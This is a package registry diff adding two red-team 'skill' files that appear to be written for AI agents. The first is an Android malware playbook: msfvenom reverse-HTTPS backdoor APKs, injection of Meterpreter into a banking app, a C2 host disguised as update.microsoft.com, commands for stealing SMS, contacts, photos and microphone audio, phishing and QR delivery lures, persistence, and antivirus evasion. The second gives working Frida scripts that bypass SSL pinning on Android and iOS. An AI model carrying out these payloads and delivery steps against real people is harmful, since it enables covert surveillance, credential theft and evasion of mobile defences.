rtexit-method 0.1.13 → 0.1.15

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,265 @@
1
+ ---
2
+ name: rt-mobile-malware-c2
3
+ description: "Mobile C2 implants and malware delivery — msfvenom Android APK payloads, Metasploit android/meterpreter sessions, TheFatRat APK generation, AhMyth RAT, persistence on Android (boot receiver, service), payload delivery via phishing/QR code. For authorized red team demonstrations of mobile malware threats. Docker: rtexit/kali:v3.1 has msfvenom pre-installed."
4
+ ---
5
+
6
+ > 🐳 **Docker Environment (Recommended):** `docker exec -it rtexit-kali bash`
7
+
8
+ # rt-mobile-malware-c2 — Android Payload & C2 for Red Team
9
+
10
+ ## Overview
11
+
12
+ Mobile malware is a key threat scenario for enterprise red teams — demonstrating that a malicious APK can achieve persistent access, credential theft, and lateral movement from an employee's device. All techniques here are for authorized penetration testing only.
13
+
14
+ **When to use:**
15
+ - Demonstrate impact of phishing → APK installation
16
+ - Show MDM bypass or sideloading risk
17
+ - Test mobile endpoint detection (MDM, anti-malware)
18
+ - Simulate advanced persistent threat on mobile fleet
19
+
20
+ ---
21
+
22
+ ## Method 1: msfvenom Basic Android Payload
23
+
24
+ ```bash
25
+ docker exec rtexit-kali bash -c "
26
+ # Generate standalone Android backdoor APK
27
+ msfvenom \
28
+ -p android/meterpreter/reverse_https \
29
+ LHOST=192.168.200.10 \
30
+ LPORT=443 \
31
+ -o /tmp/backdoor.apk
32
+
33
+ # Start handler
34
+ msfconsole -q -x '
35
+ use exploit/multi/handler
36
+ set payload android/meterpreter/reverse_https
37
+ set LHOST 0.0.0.0
38
+ set LPORT 443
39
+ set ExitOnSession false
40
+ exploit -j
41
+ '
42
+ "
43
+ ```
44
+
45
+ ---
46
+
47
+ ## Method 2: Inject Payload into Legitimate App (Stealth)
48
+
49
+ ```bash
50
+ docker exec rtexit-kali bash -c "
51
+ # Inject into a real app (much less suspicious than standalone backdoor)
52
+ # Pull target app from device or download APK
53
+ adb shell pm list packages | grep -i 'whatsapp\|banking\|company'
54
+
55
+ APP_PATH=\$(adb shell pm path com.target.banking | cut -d: -f2 | tr -d '\r')
56
+ adb pull \$APP_PATH /tmp/banking.apk
57
+
58
+ # Inject Meterpreter into it
59
+ msfvenom \
60
+ -x /tmp/banking.apk \
61
+ -p android/meterpreter/reverse_https \
62
+ LHOST=192.168.200.10 LPORT=443 \
63
+ -o /tmp/banking_infected.apk
64
+
65
+ # Sign
66
+ java -jar /opt/uber-apk-signer.jar -a /tmp/banking_infected.apk --out /tmp/signed/
67
+
68
+ # Deliver to victim via phishing
69
+ "
70
+ ```
71
+
72
+ ---
73
+
74
+ ## Method 3: Advanced Payload — Persistence + Stealth
75
+
76
+ ```bash
77
+ docker exec rtexit-kali bash -c "
78
+ # HTTPS payload with certificate (more resilient)
79
+ # Generate self-signed cert for C2
80
+ openssl req -new -x509 -days 3650 -nodes \
81
+ -out /tmp/c2.crt -keyout /tmp/c2.key \
82
+ -subj '/CN=update.microsoft.com'
83
+
84
+ # Generate payload with custom cert
85
+ msfvenom \
86
+ -p android/meterpreter/reverse_https \
87
+ LHOST=update.microsoft.com \
88
+ LPORT=443 \
89
+ HandlerSSLCert=/tmp/c2.key \
90
+ StagerVerifySSLCert=true \
91
+ -o /tmp/persistent.apk
92
+
93
+ # Handler with cert
94
+ msfconsole -q -x '
95
+ use exploit/multi/handler
96
+ set payload android/meterpreter/reverse_https
97
+ set LHOST 0.0.0.0
98
+ set LPORT 443
99
+ set HandlerSSLCert /tmp/c2.key
100
+ set StagerVerifySSLCert true
101
+ exploit -j
102
+ '
103
+ "
104
+ ```
105
+
106
+ ---
107
+
108
+ ## Method 4: Meterpreter Post-Exploitation
109
+
110
+ ```bash
111
+ # Once session is established (meterpreter android session):
112
+ docker exec rtexit-kali bash -c "
113
+ msfconsole -q
114
+ # use session
115
+ # sessions -i 1
116
+
117
+ # Core Android commands:
118
+ # dump_sms → steal all SMS messages
119
+ # dump_contacts → steal all contacts
120
+ # dump_calllog → call history
121
+ # geolocate → get GPS location
122
+ # wlan_geolocate → location via WiFi triangulation
123
+ # record_mic -d 30 → record microphone 30 seconds
124
+ # webcam_snap → take photo
125
+ # webcam_stream → live camera stream
126
+ # check_root → is device rooted?
127
+ # activity_start → launch any app/activity
128
+ # hide_app_icon → make icon disappear (persistence)
129
+
130
+ # File system:
131
+ # download /sdcard/DCIM/ → steal photos
132
+ # download /sdcard/Documents/
133
+ # shell → interactive adb shell with app permissions
134
+
135
+ # Persistence (survives reboot):
136
+ # run post/android/manage/autorun
137
+ "
138
+ ```
139
+
140
+ ---
141
+
142
+ ## Method 5: AhMyth RAT — GUI-Based
143
+
144
+ ```bash
145
+ docker exec rtexit-kali bash -c "
146
+ # AhMyth: easier GUI for generating and managing Android RATs
147
+ git clone https://github.com/AhMyth/AhMyth-Android-RAT /opt/AhMyth 2>/dev/null
148
+
149
+ # Or download release
150
+ # AhMyth is an Electron app — run on host machine
151
+ # It generates APKs and provides GUI C2 panel
152
+
153
+ # Binds to port 42474 by default
154
+ # Features: SMS, contacts, camera, mic, location, file manager
155
+ "
156
+ ```
157
+
158
+ ---
159
+
160
+ ## Method 6: Delivery Methods
161
+
162
+ ```bash
163
+ # 1. QR Code delivery
164
+ docker exec rtexit-kali bash -c "
165
+ # Host APK on HTTPS server
166
+ python3 -m http.server 8443 --directory /tmp/signed/ &
167
+
168
+ # Generate QR code pointing to APK download
169
+ pip3 install qrcode 2>/dev/null
170
+ python3 -c \"
171
+ import qrcode
172
+ qr = qrcode.make('http://192.168.200.10:8443/banking_infected-aligned-debugSigned.apk')
173
+ qr.save('/tmp/qr_payload.png')
174
+ print('QR code saved to /tmp/qr_payload.png')
175
+ \"
176
+ adb pull /tmp/qr_payload.png .
177
+ "
178
+ ```
179
+
180
+ ```bash
181
+ # 2. SMS/WhatsApp phishing link
182
+ # Host APK at convincing URL (via domain fronting or redirector)
183
+ # Message: 'Your banking app needs a security update. Download: http://updates-bank.com/app.apk'
184
+
185
+ # 3. Email attachment (disguised)
186
+ # Rename .apk to .pdf.apk or use display name tricks
187
+ # Email from spoofed IT department
188
+
189
+ # 4. MDM enrollment trick
190
+ # Create fake enterprise enrollment profile
191
+ # Employee installs 'IT security app' which is actually payload
192
+ ```
193
+
194
+ ---
195
+
196
+ ## Method 7: Android Persistence Mechanisms
197
+
198
+ ```bash
199
+ # After gaining access via meterpreter:
200
+ docker exec rtexit-kali bash -c "
201
+ # In meterpreter session:
202
+ # Method 1: boot_persist (installs receiver for BOOT_COMPLETED)
203
+ # run post/android/manage/autorun
204
+
205
+ # Method 2: Job scheduler (Android 5+) — survives app kill
206
+ # Scheduled via JobScheduler API — app re-launches every 15min
207
+
208
+ # Method 3: Accessibility Service
209
+ # If user grants accessibility permission → app can read all screen content
210
+ # And re-launch itself
211
+ "
212
+ ```
213
+
214
+ ---
215
+
216
+ ## Method 8: Bypass Android Malware Detection
217
+
218
+ ```bash
219
+ docker exec rtexit-kali bash -c "
220
+ # Obfuscate payload to bypass Play Protect / mobile AV
221
+
222
+ # Method 1: Encrypt payload
223
+ msfvenom \
224
+ -p android/meterpreter/reverse_https \
225
+ LHOST=192.168.200.10 LPORT=443 \
226
+ -e x86/shikata_ga_nai -i 5 \
227
+ -o /tmp/obfuscated.apk
228
+
229
+ # Method 2: Use TheFatRat for better evasion
230
+ git clone https://github.com/Screetsec/TheFatRat /opt/TheFatRat 2>/dev/null
231
+ cd /opt/TheFatRat && chmod +x setup.sh && ./setup.sh
232
+ # thefatrat → option 6 → Create FUD APK
233
+
234
+ # Method 3: Custom loader
235
+ # Use apktool to inject payload as separate dex file
236
+ # Dynamically load it at runtime via DexClassLoader
237
+ # Harder for static scanners to detect
238
+ "
239
+ ```
240
+
241
+ ---
242
+
243
+ ## OPSEC Notes
244
+
245
+ ```
246
+ After red team exercise:
247
+ ☐ Remove all implants from test devices
248
+ ☐ Confirm no callbacks to C2 infrastructure
249
+ ☐ Document: devices affected, data accessed, permissions obtained
250
+ ☐ Provide full uninstall procedure to client
251
+ ☐ Delete payload APKs from distribution servers
252
+ ```
253
+
254
+ ---
255
+
256
+ ## Related Skills
257
+ - `rt-apk-repackaging` — inject payload into legitimate APK
258
+ - `rt-exploit-android` — full Android methodology
259
+ - `rt-exploit-phishing` — deliver APK via phishing campaign
260
+ - `rt-c2-operations` — manage C2 infrastructure
261
+
262
+ ## References
263
+ - https://attack.mitre.org/techniques/T1476/ — Deliver Malicious App via Authorized App Store
264
+ - https://attack.mitre.org/techniques/T1444/ — Masquerade as Legitimate Application
265
+ - https://github.com/AhMyth/AhMyth-Android-RAT
@@ -0,0 +1,338 @@
1
+ ---
2
+ name: rt-mobile-ssl-pinning
3
+ description: "Comprehensive SSL/TLS pinning bypass for every framework — OkHttp3, TrustKit, Volley, Flutter, React Native, Xamarin, Cordova, native Android (Conscrypt), iOS SecTrustEvaluate, HPKP. Also covers network_security_config.xml bypass, ATS bypass, HTTP/2 and gRPC interception on mobile. Essential skill — almost every modern app has pinning. Docker: rtexit/kali:v3.1."
4
+ ---
5
+
6
+ > 🐳 **Docker Environment (Recommended):** `docker exec -it rtexit-kali bash`
7
+
8
+ # rt-mobile-ssl-pinning — Bypass Every Pinning Implementation
9
+
10
+ ## Overview
11
+
12
+ Modern mobile apps implement SSL pinning to prevent traffic interception. Every framework implements it differently — there's no single bypass. This skill covers every implementation you'll encounter in real engagements.
13
+
14
+ **Goal:** Get Burp Suite intercepting HTTPS traffic from any mobile app.
15
+
16
+ ---
17
+
18
+ ## Step 0: Burp Setup for Mobile
19
+
20
+ ```bash
21
+ # Kali Docker — start Burp proxy
22
+ docker exec rtexit-kali bash -c "
23
+ # Start Burp on all interfaces
24
+ java -jar /opt/BurpSuitePro/burpsuite_pro.jar &
25
+ # Or headless:
26
+ java -Djava.awt.headless=true -jar burpsuite_pro.jar --project-file=mobile.burp &
27
+ "
28
+
29
+ # Configure Burp:
30
+ # Proxy → Options → Add listener: 0.0.0.0:8080
31
+ # Export Burp CA cert: http://burp → CA Certificate → DER format
32
+
33
+ # Android: Push Burp cert + trust it
34
+ docker exec rtexit-kali bash -c "
35
+ # Android 7+ requires cert in system store (not user store)
36
+ adb push burp-cacert.der /sdcard/burp.der
37
+
38
+ # Install in system store (requires root)
39
+ adb shell 'su -c \"cp /sdcard/burp.der /system/etc/security/cacerts/9a5ba575.0\"'
40
+ adb shell 'su -c \"chmod 644 /system/etc/security/cacerts/9a5ba575.0\"'
41
+ adb reboot
42
+ "
43
+ ```
44
+
45
+ ---
46
+
47
+ ## Layer 1: network_security_config.xml Bypass (Android)
48
+
49
+ ```bash
50
+ # Many apps restrict cleartext and pin via network_security_config.xml
51
+ # Patch it directly in the APK
52
+
53
+ docker exec rtexit-kali bash -c "
54
+ # Decompile
55
+ apktool d target.apk -o target_dc
56
+
57
+ # Edit res/xml/network_security_config.xml (or create it)
58
+ cat > target_dc/res/xml/network_security_config.xml << 'EOF'
59
+ <?xml version=\"1.0\" encoding=\"utf-8\"?>
60
+ <network-security-config>
61
+ <base-config cleartextTrafficPermitted=\"true\">
62
+ <trust-anchors>
63
+ <certificates src=\"system\" />
64
+ <certificates src=\"user\" />
65
+ </trust-anchors>
66
+ </base-config>
67
+ <debug-overrides>
68
+ <trust-anchors>
69
+ <certificates src=\"system\" />
70
+ <certificates src=\"user\" />
71
+ </trust-anchors>
72
+ </debug-overrides>
73
+ </network-security-config>
74
+ EOF
75
+
76
+ # Make AndroidManifest.xml reference it (if not already)
77
+ # android:networkSecurityConfig=\"@xml/network_security_config\"
78
+
79
+ # Repackage + sign
80
+ apktool b target_dc -o target_patched.apk
81
+ uber-apk-signer -a target_patched.apk --out ./signed/
82
+ adb install signed/target_patched-aligned-debugSigned.apk
83
+ "
84
+ ```
85
+
86
+ ---
87
+
88
+ ## Layer 2: Objection — Quick Bypass (OkHttp, Volley, standard Java)
89
+
90
+ ```bash
91
+ docker exec rtexit-kali bash -c "
92
+ # Launch app with SSL pinning disabled
93
+ objection -g com.target.app explore --startup-command 'android sslpinning disable'
94
+
95
+ # Or attach to running app
96
+ objection -g com.target.app explore
97
+ # Then in objection shell:
98
+ # android sslpinning disable
99
+ # ios sslpinning disable
100
+ "
101
+ ```
102
+
103
+ ---
104
+
105
+ ## Layer 3: Manual Frida — OkHttp3 / Retrofit
106
+
107
+ ```javascript
108
+ // okhttp3-bypass.js — most common Android networking library
109
+
110
+ Java.perform(() => {
111
+ // Method 1: CertificatePinner
112
+ ['check', 'check$okhttp'].forEach(method => {
113
+ try {
114
+ const CP = Java.use('okhttp3.CertificatePinner');
115
+ CP[method].overload('java.lang.String', 'java.util.List').implementation = function() {
116
+ console.log('[*] OkHttp3 CertificatePinner.' + method + ' bypassed');
117
+ };
118
+ } catch(e) {}
119
+ });
120
+
121
+ // Method 2: OkHttpClient.Builder pinning
122
+ try {
123
+ const Builder = Java.use('okhttp3.OkHttpClient$Builder');
124
+ Builder.certificatePinner.implementation = function(pinner) {
125
+ console.log('[*] OkHttpClient.Builder.certificatePinner bypassed');
126
+ return this;
127
+ };
128
+ } catch(e) {}
129
+
130
+ // Method 3: ConnectionSpec
131
+ try {
132
+ const ConnectionSpec = Java.use('okhttp3.ConnectionSpec');
133
+ const CLEARTEXT = ConnectionSpec.CLEARTEXT.value;
134
+ const Builder = Java.use('okhttp3.OkHttpClient$Builder');
135
+ Builder.connectionSpecs.implementation = function(specs) {
136
+ const ArrayList = Java.use('java.util.ArrayList');
137
+ const newSpecs = ArrayList.$new();
138
+ newSpecs.add(CLEARTEXT);
139
+ return this.connectionSpecs(newSpecs);
140
+ };
141
+ } catch(e) {}
142
+ });
143
+ ```
144
+
145
+ ---
146
+
147
+ ## Layer 4: TrustKit (iOS + Android)
148
+
149
+ ```javascript
150
+ // trustkit-bypass.js
151
+
152
+ Java.perform(() => {
153
+ // Android TrustKit
154
+ try {
155
+ const TrustKit = Java.use('com.datatheorem.android.trustkit.pinning.OkHostnameVerifier');
156
+ TrustKit.verify.overload('java.lang.String', 'javax.net.ssl.SSLSession').implementation = function() {
157
+ return true;
158
+ };
159
+ } catch(e) {}
160
+
161
+ try {
162
+ const PinningTrustManager = Java.use('com.datatheorem.android.trustkit.pinning.PinningTrustManager');
163
+ PinningTrustManager.checkServerTrusted.implementation = function() {
164
+ console.log('[*] TrustKit PinningTrustManager bypassed');
165
+ };
166
+ } catch(e) {}
167
+ });
168
+ ```
169
+
170
+ ---
171
+
172
+ ## Layer 5: Flutter SSL Pinning Bypass
173
+
174
+ ```bash
175
+ # Flutter uses BoringSSL (native, not Java) — Java hooks don't work
176
+ # Must hook at native level
177
+
178
+ docker exec rtexit-kali bash -c "
179
+ # Find libflutter.so offset for ssl_crypto_x509_session_verify_cert_chain
180
+ adb pull /data/app/com.target.app-*/lib/arm64/libflutter.so /tmp/
181
+ # Use strings + grep to find ssl function offsets
182
+ strings /tmp/libflutter.so | grep -i 'ssl\|verify\|cert'
183
+ "
184
+ ```
185
+
186
+ ```javascript
187
+ // flutter-ssl-bypass.js — native hook on libflutter.so
188
+
189
+ setTimeout(() => {
190
+ const flutterLib = Process.getModuleByName('libflutter.so');
191
+
192
+ // Hook ssl_crypto_x509_session_verify_cert_chain
193
+ // Offset varies per Flutter version — find with:
194
+ // strings libflutter.so | grep ssl_crypto_x509
195
+ // or: objdump -d libflutter.so | grep ssl_crypto
196
+
197
+ const offset = 0x123456; // Replace with actual offset from analysis
198
+ const sslVerify = flutterLib.base.add(offset);
199
+
200
+ Interceptor.replace(sslVerify, new NativeCallback(() => {
201
+ console.log('[*] Flutter ssl_verify bypassed');
202
+ return 1; // SSL_VERIFY_OK
203
+ }, 'int', []));
204
+ }, 1000);
205
+ ```
206
+
207
+ ```bash
208
+ # Alternative: use reFlutter (patches libflutter.so directly)
209
+ docker exec rtexit-kali bash -c "
210
+ pip3 install reFlutter
211
+ reFlutter target.apk
212
+ # Produces patched APK with SSL pinning removed from Flutter engine
213
+ adb install release.RE.apk
214
+ "
215
+ ```
216
+
217
+ ---
218
+
219
+ ## Layer 6: React Native SSL Pinning Bypass
220
+
221
+ ```javascript
222
+ // react-native-bypass.js
223
+
224
+ Java.perform(() => {
225
+ // React Native uses OkHttp under the hood on Android
226
+ // Also may use react-native-ssl-pinning library
227
+ try {
228
+ const OkHttpClientProvider = Java.use('com.facebook.react.modules.network.OkHttpClientProvider');
229
+ OkHttpClientProvider.createClientBuilder.implementation = function() {
230
+ const builder = this.createClientBuilder();
231
+ // Remove certificate pinner
232
+ const CP = Java.use('okhttp3.CertificatePinner$Builder');
233
+ builder.certificatePinner(CP.$new().build());
234
+ return builder;
235
+ };
236
+ } catch(e) {}
237
+
238
+ // react-native-ssl-pinning bypass
239
+ try {
240
+ const RNSslPinning = Java.use('com.toyberman.RNSslPinningModule');
241
+ RNSslPinning.getCertSha256.implementation = function() { return null; };
242
+ } catch(e) {}
243
+ });
244
+ ```
245
+
246
+ ---
247
+
248
+ ## Layer 7: Xamarin SSL Bypass
249
+
250
+ ```javascript
251
+ // xamarin-bypass.js
252
+
253
+ Java.perform(() => {
254
+ // Xamarin uses mono runtime
255
+ try {
256
+ const ServicePointManager = Java.use('java.lang.Class').forName('System.Net.ServicePointManager');
257
+ // Hook via Mono reflection
258
+ } catch(e) {}
259
+
260
+ // Alternative: hook native SSL
261
+ const ssl_verify = Module.findExportByName('libmono.so', 'mono_security_x509_chain_verify');
262
+ if (ssl_verify) {
263
+ Interceptor.replace(ssl_verify, new NativeCallback(() => {
264
+ console.log('[*] Xamarin SSL verify bypassed');
265
+ return 1;
266
+ }, 'int', []));
267
+ }
268
+ });
269
+ ```
270
+
271
+ ---
272
+
273
+ ## Layer 8: iOS Pinning Bypass
274
+
275
+ ```javascript
276
+ // ios-ssl-bypass.js — covers SecTrustEvaluate, NSURLSession, AFNetworking
277
+
278
+ // SecTrustEvaluate — system-level bypass
279
+ Interceptor.replace(Module.findExportByName('Security', 'SecTrustEvaluate'),
280
+ new NativeCallback((trust, result) => {
281
+ const ptr = Memory.alloc(4);
282
+ ptr.writeS32(1); // kSecTrustResultProceed
283
+ result.writePointer(ptr);
284
+ console.log('[*] SecTrustEvaluate bypassed');
285
+ return 0;
286
+ }, 'int', ['pointer', 'pointer'])
287
+ );
288
+
289
+ // SecTrustEvaluateWithError (iOS 13+)
290
+ Interceptor.replace(Module.findExportByName('Security', 'SecTrustEvaluateWithError'),
291
+ new NativeCallback((trust, error) => {
292
+ if (!error.isNull()) error.writePointer(ptr(0));
293
+ console.log('[*] SecTrustEvaluateWithError bypassed');
294
+ return 1; // true = trusted
295
+ }, 'bool', ['pointer', 'pointer'])
296
+ );
297
+
298
+ // AFNetworking (common iOS library)
299
+ try {
300
+ const AFSec = ObjC.classes.AFSecurityPolicy;
301
+ Interceptor.attach(AFSec['- evaluateServerTrust:forDomain:'].implementation, {
302
+ onLeave: function(retval) {
303
+ retval.replace(ptr(1));
304
+ console.log('[*] AFNetworking evaluateServerTrust bypassed');
305
+ }
306
+ });
307
+ } catch(e) {}
308
+ ```
309
+
310
+ ---
311
+
312
+ ## Proxy Setup Per App (Programmatic)
313
+
314
+ ```bash
315
+ # Set proxy via ADB for specific WiFi network
316
+ docker exec rtexit-kali bash -c "
317
+ # Set system-wide proxy (requires root or developer mode)
318
+ adb shell settings put global http_proxy 192.168.200.10:8080
319
+
320
+ # Clear after testing
321
+ adb shell settings put global http_proxy :0
322
+ "
323
+ ```
324
+
325
+ ---
326
+
327
+ ## Related Skills
328
+ - `rt-frida-advanced` — write custom bypass scripts
329
+ - `rt-exploit-android` — full Android methodology
330
+ - `rt-exploit-ios` — full iOS methodology
331
+ - `rt-cross-platform-mobile` — Flutter/React Native specifics
332
+ - `rt-apk-repackaging` — patch APK when dynamic bypass fails
333
+
334
+ ## References
335
+ - https://github.com/httptoolkit/frida-android-unpinning (community bypass collection)
336
+ - https://github.com/nccgroup/PinKit
337
+ - https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/
338
+ - https://attack.mitre.org/techniques/T1553/ — Subvert Trust Controls